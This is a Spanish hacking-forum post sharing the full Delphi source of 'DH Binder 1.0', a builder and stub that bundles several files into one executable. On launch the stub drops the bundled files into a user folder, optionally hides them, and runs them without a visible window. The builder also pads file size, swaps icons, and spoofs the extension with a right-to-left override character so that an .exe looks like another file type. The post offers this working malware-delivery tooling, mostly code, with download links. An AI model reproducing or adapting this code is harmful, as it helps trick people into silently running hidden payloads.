elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DH Binder 1.0		0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DH Binder 1.0  (Leído 1,613 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DH Binder 1.0
« en: 27 Febrero 2015, 16:40 pm »
Nueva version de este simple binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran con opcion de cargar normal , oculto o solo extraer
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado
  • El builder incluye un File Pumper,Icon Changer y Extension Spoofer

Una imagen :



Los codigos :

El generador.

Código
  1. // DH Binder 1.0
  2. // (C) Doddy Hackman 2015
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. unit binder;
  9.  
  10. interface
  11.  
  12. uses
  13.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  14.   System.Classes, Vcl.Graphics,
  15.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  16.   Vcl.ExtCtrls, ShellApi, Vcl.ImgList, Vcl.Menus, Vcl.Imaging.pngimage, madRes,
  17.   StrUtils;
  18.  
  19. type
  20.   TForm1 = class(TForm)
  21.     PageControl1: TPageControl;
  22.     TabSheet1: TTabSheet;
  23.     TabSheet2: TTabSheet;
  24.     TabSheet3: TTabSheet;
  25.     PageControl2: TPageControl;
  26.     TabSheet4: TTabSheet;
  27.     TabSheet5: TTabSheet;
  28.     GroupBox1: TGroupBox;
  29.     PageControl3: TPageControl;
  30.     TabSheet6: TTabSheet;
  31.     TabSheet7: TTabSheet;
  32.     TabSheet8: TTabSheet;
  33.     files: TListView;
  34.     StatusBar1: TStatusBar;
  35.     GroupBox2: TGroupBox;
  36.     archivo_nuevo: TEdit;
  37.     Button1: TButton;
  38.     GroupBox3: TGroupBox;
  39.     execute: TComboBox;
  40.     abrir: TOpenDialog;
  41.     GroupBox4: TGroupBox;
  42.     Button2: TButton;
  43.     GroupBox5: TGroupBox;
  44.     extraction: TComboBox;
  45.     GroupBox6: TGroupBox;
  46.     opcion_ocultar: TCheckBox;
  47.     check_filepumper: TCheckBox;
  48.     GroupBox7: TGroupBox;
  49.     GroupBox8: TGroupBox;
  50.     pumper_count: TEdit;
  51.     UpDown1: TUpDown;
  52.     pumper_type: TComboBox;
  53.     check_extension_changer: TCheckBox;
  54.     GroupBox9: TGroupBox;
  55.     check_extension: TCheckBox;
  56.     extensiones: TComboBox;
  57.     GroupBox10: TGroupBox;
  58.     check_this_extension: TCheckBox;
  59.     extension: TEdit;
  60.     GroupBox11: TGroupBox;
  61.     ruta_icono: TEdit;
  62.     Button3: TButton;
  63.     GroupBox12: TGroupBox;
  64.     use_icon_changer: TCheckBox;
  65.     preview: TImage;
  66.     imagenes: TImageList;
  67.     menu: TPopupMenu;
  68.     C1: TMenuItem;
  69.     Image2: TImage;
  70.     GroupBox13: TGroupBox;
  71.     Button4: TButton;
  72.     TabSheet9: TTabSheet;
  73.     GroupBox14: TGroupBox;
  74.     Image3: TImage;
  75.     Label1: TLabel;
  76.     D1: TMenuItem;
  77.     abrir_icono: TOpenDialog;
  78.     procedure Button1Click(Sender: TObject);
  79.     procedure Button3Click(Sender: TObject);
  80.     procedure Button2Click(Sender: TObject);
  81.     procedure C1Click(Sender: TObject);
  82.     procedure Button4Click(Sender: TObject);
  83.     procedure FormCreate(Sender: TObject);
  84.     procedure D1Click(Sender: TObject);
  85.  
  86.   private
  87.     { Private declarations }
  88.   public
  89.     { Public declarations }
  90.   end;
  91.  
  92. var
  93.   Form1: TForm1;
  94.  
  95. implementation
  96.  
  97. {$R *.dfm}
  98. // Functions
  99.  
  100. procedure file_pumper(archivo: string; cantidad: LongWord);
  101. var
  102.   arraycantidad: array of Byte;
  103.   abriendo: TFileStream;
  104. begin
  105.   abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
  106.   SetLength(arraycantidad, cantidad);
  107.   ZeroMemory(@arraycantidad[1], cantidad);
  108.   abriendo.Seek(0, soFromEnd);
  109.   abriendo.Write(arraycantidad[0], High(arraycantidad));
  110.   abriendo.Free;
  111. end;
  112.  
  113. procedure extension_changer(archivo: string; extension: string);
  114. var
  115.   nombre: string;
  116. begin
  117.   nombre := ExtractFileName(archivo);
  118.   nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
  119.     [rfReplaceAll, rfIgnoreCase]);
  120.   nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
  121.   MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
  122. end;
  123.  
  124. function dhencode(texto, opcion: string): string;
  125. // Thanks to Taqyon
  126. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  127. var
  128.   num: integer;
  129.   aca: string;
  130.   cantidad: integer;
  131.  
  132. begin
  133.  
  134.   num := 0;
  135.   Result := '';
  136.   aca := '';
  137.   cantidad := 0;
  138.  
  139.   if (opcion = 'encode') then
  140.   begin
  141.     cantidad := length(texto);
  142.     for num := 1 to cantidad do
  143.     begin
  144.       aca := IntToHex(ord(texto[num]), 2);
  145.       Result := Result + aca;
  146.     end;
  147.   end;
  148.  
  149.   if (opcion = 'decode') then
  150.   begin
  151.     cantidad := length(texto);
  152.     for num := 1 to cantidad div 2 do
  153.     begin
  154.       aca := char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  155.       Result := Result + aca;
  156.     end;
  157.   end;
  158.  
  159. end;
  160.  
  161. //
  162.  
  163. procedure TForm1.Button1Click(Sender: TObject);
  164. begin
  165.   if (abrir.execute) then
  166.   begin
  167.     archivo_nuevo.Text := abrir.FileName;
  168.   end;
  169. end;
  170.  
  171. procedure TForm1.Button2Click(Sender: TObject);
  172. var
  173.   icono: TIcon;
  174.   listate: TListItem;
  175.   getdata: SHFILEINFO;
  176. begin
  177.  
  178.   if (FileExists(archivo_nuevo.Text)) then
  179.   begin
  180.     icono := TIcon.Create;
  181.     files.Items.BeginUpdate;
  182.  
  183.     with files do
  184.     begin
  185.  
  186.       listate := files.Items.Add;
  187.  
  188.       listate.Caption := ExtractFileName(archivo_nuevo.Text);
  189.       listate.SubItems.Add(archivo_nuevo.Text);
  190.       listate.SubItems.Add(ExtractFileExt(archivo_nuevo.Text));
  191.       listate.SubItems.Add(execute.Text);
  192.  
  193.       SHGetFileInfo(PChar(archivo_nuevo.Text), 0, getdata, SizeOf(getdata),
  194.         SHGFI_ICON or SHGFI_SMALLICON);
  195.       icono.Handle := getdata.hIcon;
  196.       listate.ImageIndex := imagenes.AddIcon(icono);
  197.  
  198.       DestroyIcon(getdata.hIcon);
  199.  
  200.     end;
  201.  
  202.     files.Items.EndUpdate;
  203.  
  204.     archivo_nuevo.Text := '';
  205.  
  206.     StatusBar1.Panels[0].Text := '[+] File Added';
  207.     Form1.StatusBar1.Update;
  208.   end
  209.   else
  210.   begin
  211.     StatusBar1.Panels[0].Text := '[-] File not exists';
  212.     Form1.StatusBar1.Update;
  213.   end;
  214.  
  215. end;
  216.  
  217. procedure TForm1.Button3Click(Sender: TObject);
  218. begin
  219.   if (abrir_icono.execute) then
  220.   begin
  221.     ruta_icono.Text := abrir_icono.FileName;
  222.     preview.Picture.LoadFromFile(abrir_icono.FileName);
  223.   end;
  224. end;
  225.  
  226. procedure TForm1.Button4Click(Sender: TObject);
  227. var
  228.   i: integer;
  229.   nombre: string;
  230.   ruta: string;
  231.   tipo: string;
  232.   savein: string;
  233.   opcionocultar: string;
  234.   lineafinal: string;
  235.   uno: DWORD;
  236.   tam: DWORD;
  237.   dos: DWORD;
  238.   tres: DWORD;
  239.   todo: Pointer;
  240.   change: DWORD;
  241.   valor: string;
  242.   stubgenerado: string;
  243.   ruta_archivo: string;
  244.   tipocantidadz: string;
  245.   extensionacambiar: string;
  246.  
  247. begin
  248.  
  249.   StatusBar1.Panels[0].Text := '[+] Working ...';
  250.   Form1.StatusBar1.Update;
  251.  
  252.   if (files.Items.Count = 0) or (files.Items.Count = 1) then
  253.   begin
  254.     ShowMessage('You have to choose two or more files');
  255.   end
  256.   else
  257.   begin
  258.     stubgenerado := 'done.exe';
  259.  
  260.     if (opcion_ocultar.Checked = True) then
  261.     begin
  262.       opcionocultar := '1';
  263.     end
  264.     else
  265.     begin
  266.       opcionocultar := '0';
  267.     end;
  268.  
  269.     if (extraction.Items[extraction.ItemIndex] = '') then
  270.     begin
  271.       savein := 'USERPROFILE';
  272.     end
  273.     else
  274.     begin
  275.       savein := extraction.Items[extraction.ItemIndex];
  276.     end;
  277.  
  278.     DeleteFile(stubgenerado);
  279.     CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
  280.       'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
  281.       stubgenerado), True);
  282.  
  283.     ruta_archivo := ExtractFilePath(Application.ExeName) + '/' + stubgenerado;
  284.  
  285.     uno := BeginUpdateResource(PChar(ruta_archivo), True);
  286.  
  287.     for i := 0 to files.Items.Count - 1 do
  288.     begin
  289.  
  290.       nombre := files.Items[i].Caption;
  291.       ruta := files.Items[i].SubItems[0];
  292.       tipo := files.Items[i].SubItems[2];
  293.  
  294.       lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
  295.         '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
  296.       lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
  297.         '[63686175]';
  298.  
  299.       dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
  300.         OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  301.       tam := GetFileSize(dos, nil);
  302.       GetMem(todo, tam);
  303.       ReadFile(dos, todo^, tam, tres, nil);
  304.       CloseHandle(dos);
  305.       UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
  306.         MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);
  307.  
  308.     end;
  309.  
  310.     EndUpdateResource(uno, False);
  311.  
  312.   end;
  313.  
  314.   //
  315.  
  316.   if (check_filepumper.Checked) then
  317.   begin
  318.     tipocantidadz := pumper_type.Items[pumper_type.ItemIndex];
  319.     if (tipocantidadz = 'Byte') then
  320.     begin
  321.       file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 8);
  322.     end;
  323.     if (tipocantidadz = 'KiloByte') then
  324.     begin
  325.       file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1024);
  326.     end;
  327.     if (tipocantidadz = 'MegaByte') then
  328.     begin
  329.       file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1048576);
  330.     end;
  331.     if (tipocantidadz = 'GigaByte') then
  332.     begin
  333.       file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1073741824);
  334.     end;
  335.     if (tipocantidadz = 'TeraByte') then
  336.     begin
  337.       file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1099511627776);
  338.     end;
  339.   end;
  340.  
  341.   if (use_icon_changer.Checked) then
  342.   begin
  343.     try
  344.       begin
  345.         change := BeginUpdateResourceW
  346.           (PWideChar(wideString(ruta_archivo)), False);
  347.         LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  348.           PWideChar(wideString(ruta_icono.Text)));
  349.         EndUpdateResourceW(change, False);
  350.       end;
  351.     except
  352.       begin
  353.         //
  354.       end;
  355.     end;
  356.   end;
  357.  
  358.   if (check_extension_changer.Checked) then
  359.   begin
  360.     if not(check_extension.Checked and check_this_extension.Checked) then
  361.     begin
  362.       if (check_extension.Checked) then
  363.       begin
  364.         extensionacambiar := extensiones.Items[extensiones.ItemIndex];
  365.         extension_changer(ruta_archivo, extensionacambiar);
  366.       end;
  367.       if (check_this_extension.Checked) then
  368.       begin
  369.         extension_changer(ruta_archivo, extension.Text);
  370.       end;
  371.     end;
  372.   end;
  373.  
  374.   StatusBar1.Panels[0].Text := '[+] Done';
  375.   Form1.StatusBar1.Update;
  376.  
  377. end;
  378.  
  379. procedure TForm1.C1Click(Sender: TObject);
  380. begin
  381.   files.Clear;
  382.   imagenes.Clear;
  383. end;
  384.  
  385. procedure TForm1.D1Click(Sender: TObject);
  386. begin
  387.   files.DeleteSelected;
  388. end;
  389.  
  390. procedure TForm1.FormCreate(Sender: TObject);
  391. begin
  392.   abrir.InitialDir := GetCurrentDir;
  393.   abrir_icono.InitialDir := GetCurrentDir;
  394.   abrir_icono.Filter := 'ICO|*.ico|';
  395. end;
  396.  
  397. end.
  398.  
  399. // The End ?
  400.  

El Stub.

Código
  1. // DH Binder 1.0
  2. // (C) Doddy Hackman 2015
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. program stub;
  9.  
  10. uses
  11.   System.SysUtils, ShellApi, Windows;
  12.  
  13. function regex(text: String; deaca: String; hastaaca: String): String;
  14. begin
  15.   Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  16.   SetLength(text, AnsiPos(hastaaca, text) - 1);
  17.   Result := text;
  18. end;
  19.  
  20. function dhencode(texto, opcion: string): string;
  21. // Thanks to Taqyon
  22. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  23. var
  24.   num: integer;
  25.   aca: string;
  26.   cantidad: integer;
  27.  
  28. begin
  29.  
  30.   num := 0;
  31.   Result := '';
  32.   aca := '';
  33.   cantidad := 0;
  34.  
  35.   if (opcion = 'encode') then
  36.   begin
  37.     cantidad := Length(texto);
  38.     for num := 1 to cantidad do
  39.     begin
  40.       aca := IntToHex(ord(texto[num]), 2);
  41.       Result := Result + aca;
  42.     end;
  43.   end;
  44.  
  45.   if (opcion = 'decode') then
  46.   begin
  47.     cantidad := Length(texto);
  48.     for num := 1 to cantidad div 2 do
  49.     begin
  50.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  51.       Result := Result + aca;
  52.     end;
  53.   end;
  54.  
  55. end;
  56.  
  57. procedure cargar_archivo(archivo: TFileName; tipo: string);
  58. var
  59.   data: SHELLEXECUTEINFO;
  60. begin
  61.   if (FileExists(archivo)) then
  62.   begin
  63.     ZeroMemory(@data, SizeOf(SHELLEXECUTEINFO));
  64.     data.cbSize := SizeOf(SHELLEXECUTEINFO);
  65.     data.fMask := SEE_MASK_NOCLOSEPROCESS;
  66.     data.Wnd := 0;
  67.     data.lpVerb := 'open';
  68.     data.lpFile := PChar(archivo);
  69.     if (tipo = 'Show') then
  70.     begin
  71.       data.nShow := SW_SHOWNORMAL;
  72.     end;
  73.     if (tipo = 'Hide') then
  74.     begin
  75.       data.nShow := SW_HIDE;
  76.     end;
  77.     if not ShellExecuteEx(@data) then
  78.       if GetLastError <= 32 then
  79.       begin
  80.         SysErrorMessage(GetLastError);
  81.       end;
  82.   end;
  83. end;
  84.  
  85. //
  86.  
  87. // Start the game
  88.  
  89. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
  90. var
  91.   data: DWORD;
  92.   uno: DWORD;
  93.   dos: DWORD;
  94.   cinco2: string;
  95.   nombre: string;
  96.   tipodecarga: string;
  97.   ruta: string;
  98.   ocultar: string;
  99.  
  100. begin
  101.  
  102.   Result := True;
  103.  
  104.   cinco2 := cinco;
  105.   cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  106.   cinco2 := dhencode(cinco2, 'decode');
  107.   cinco2 := LowerCase(cinco2);
  108.  
  109.   nombre := regex(cinco2, '[nombre]', '[nombre]');
  110.   tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  111.   ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  112.   ocultar := regex(cinco2, '[hide]', '[hide]');
  113.  
  114.   if not(tipodecarga = '') then
  115.   begin
  116.     data := FindResource(0, cinco, cuatro);
  117.  
  118.     uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE,
  119.       nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  120.     WriteFile(uno, LockResource(LoadResource(0, data))^,
  121.       SizeOfResource(0, data), dos, nil);
  122.  
  123.     CloseHandle(uno);
  124.  
  125.     if (ocultar = '1') then
  126.     begin
  127.       SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  128.     end;
  129.  
  130.     if (tipodecarga = 'normal') then
  131.     begin
  132.       // Writeln('Abriendo normal');
  133.       cargar_archivo(ruta + nombre, 'Show');
  134.     end;
  135.     if (tipodecarga = 'hide') then
  136.     begin
  137.       // Writeln('Abriendo oculto');
  138.       cargar_archivo(ruta + nombre, 'Hide');
  139.     end;
  140.   end;
  141. end;
  142.  
  143. begin
  144.  
  145.   EnumResourceNames(0, RT_RCDATA, @start, 0);
  146.  
  147. end.
  148.  
  149. // The End ?
  150.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
binder en vb « 1 2 »
Programación Visual Basic 		loco5 10 6,331 Último mensaje 26 Septiembre 2005, 19:49 pm
por Kizar
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software 		GroK 26 25,336 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
[Delphi] DH Binder 0.3
Programación General 		BigBear 0 1,483 Último mensaje 25 Octubre 2013, 17:05 pm
por BigBear
[Delphi] DH Binder 0.5
Programación General 		BigBear 0 1,596 Último mensaje 21 Mayo 2014, 23:11 pm
por BigBear
[Delphi] DH Binder 2.0
Programación General 		BigBear 0 1,524 Último mensaje 10 Febrero 2017, 00:30 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines